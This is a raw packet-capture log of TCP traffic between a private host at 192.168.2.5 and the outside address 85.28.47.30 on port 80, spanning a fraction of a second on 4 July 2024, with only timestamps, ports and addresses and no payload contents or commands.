Jul 4, 2024 22:20:31.747903109 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.747912884 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.747924089 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.747934103 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.747941971 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.747941971 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.747945070 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.747956991 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.747966051 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.747967005 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.747975111 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.747977972 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.747994900 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.748018026 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.748554945 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.748564959 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.748574018 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.748584032 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.748598099 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.748614073 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.748614073 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.748617887 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.748631954 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.748642921 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.748653889 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.748656034 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.748656034 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.748663902 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.748675108 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.748684883 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.748686075 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.748686075 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.748694897 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.748702049 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.748706102 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.748717070 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.748727083 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.748744965 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.748773098 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.749568939 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.749582052 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.749591112 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.749600887 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.749609947 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.749622107 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.749628067 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.749631882 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.749644041 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.749649048 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.749655008 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.749665976 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.749667883 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.749676943 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.749686956 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.749686956 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.749696970 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.749706984 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.749711990 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.749711990 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.749718904 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.749731064 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.749742031 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.749743938 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.749777079 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.749777079 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.750598907 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.750610113 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.750618935 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.750629902 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.750643015 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.750653982 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.750657082 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.750657082 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.750670910 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.750680923 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.750691891 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.750696898 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.750703096 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.750703096 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.750708103 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.750721931 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.750725031 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.750732899 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.750746012 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.750754118 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.750754118 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.750755072 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.750775099 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.750794888 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.751539946 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.751552105 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.751562119 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.751571894 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.751580954 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.751583099 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.751596928 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.751611948 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.751612902 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.751624107 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.751635075 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.751643896 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.751643896 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.751645088 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.751656055 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.751667023 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.751677990 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.751688957 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.751698017 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.751701117 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.751710892 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.751715899 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.751744032 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.751744032 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.751774073 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.752413034 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.752423048 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.752432108 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.752441883 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.752453089 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.752461910 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.752469063 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.752469063 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.752474070 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.752491951 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.752496004 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.752502918 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.752511024 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.752528906 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.752552986 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.839328051 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.839412928 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.839440107 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.839451075 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.839514971 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.839539051 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.839550018 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.839592934 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.839603901 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.839613914 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.839624882 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.839646101 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.839672089 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.840506077 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.840517044 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.840527058 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.840569019 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.840569019 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.840636015 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.840646982 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.840656042 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.840667963 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.840678930 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.840688944 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.840698957 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.840699911 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.840699911 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.840723038 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.840743065 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.841052055 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.841068029 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.841077089 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.841089010 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.841099024 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.841109037 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.841116905 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.841120958 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.841144085 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.841144085 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.841166973 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.841582060 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.841597080 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.841605902 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.841617107 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.841628075 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.841638088 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.841641903 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.841651917 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.841656923 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.841661930 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.841662884 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.841666937 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.841672897 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.841676950 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.841682911 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.841686010 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.841692924 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.841706038 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.841722965 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.841751099 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.842439890 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.842452049 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.842461109 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.842469931 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.842479944 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.842489004 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.842493057 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.842504978 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.842515945 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.842519999 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.842519999 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.842552900 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.842576981 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.842889071 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.842899084 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.842910051 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.842920065 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.842931032 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.842941999 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.842947006 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.842952013 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.842953920 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.842963934 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.842979908 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.842998028 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.843020916 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.843450069 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.843461037 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.843471050 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.843482018 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.843492985 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.843502998 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.843513012 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.843517065 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.843517065 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.843525887 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.843537092 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.843548059 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.843549967 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.843549967 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.843560934 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.843573093 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.843574047 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.843584061 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.843599081 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.843605042 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.843611002 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.843620062 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.843638897 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.843704939 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.844439030 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.844449997 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.844459057 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.844470024 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.844485044 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.844496965 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.844501019 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.844501019 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.844507933 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.844520092 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.844528913 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.844532013 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.844542027 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.844542980 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.844554901 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.844566107 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.844573975 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.844575882 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.844589949 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.844589949 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.844602108 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.844610929 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.844614029 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.844649076 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.844649076 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.845341921 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.845352888 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.845362902 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.845372915 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.845382929 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.845398903 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.845408916 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.845417023 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.845421076 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.845428944 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.845432997 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.845443964 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.845451117 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.845454931 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.845463037 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.845467091 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.845479012 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.845482111 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.845489025 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.845501900 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.845513105 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.845527887 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.845527887 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.845551968 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.846319914 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.846332073 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.846340895 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.846350908 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.846360922 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.846371889 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.846371889 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.846383095 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.846390009 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.846400023 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.846411943 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.846422911 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.846422911 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.846456051 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.933548927 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.933568001 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.933577061 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.933751106 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.933783054 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.933794975 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.933808088 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.933819056 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.933832884 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.933861017 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.934324026 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.934384108 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.934393883 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.934405088 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.934417009 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.934449911 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.934530973 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.934540987 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.934551001 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.934561014 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.934576988 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.934603930 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.934783936 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.934793949 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.934803963 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.934813976 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.934824944 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.934833050 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.934864044 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.934864044 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.935051918 CEST	80	49704	85.28.47.30	192.168.2.5
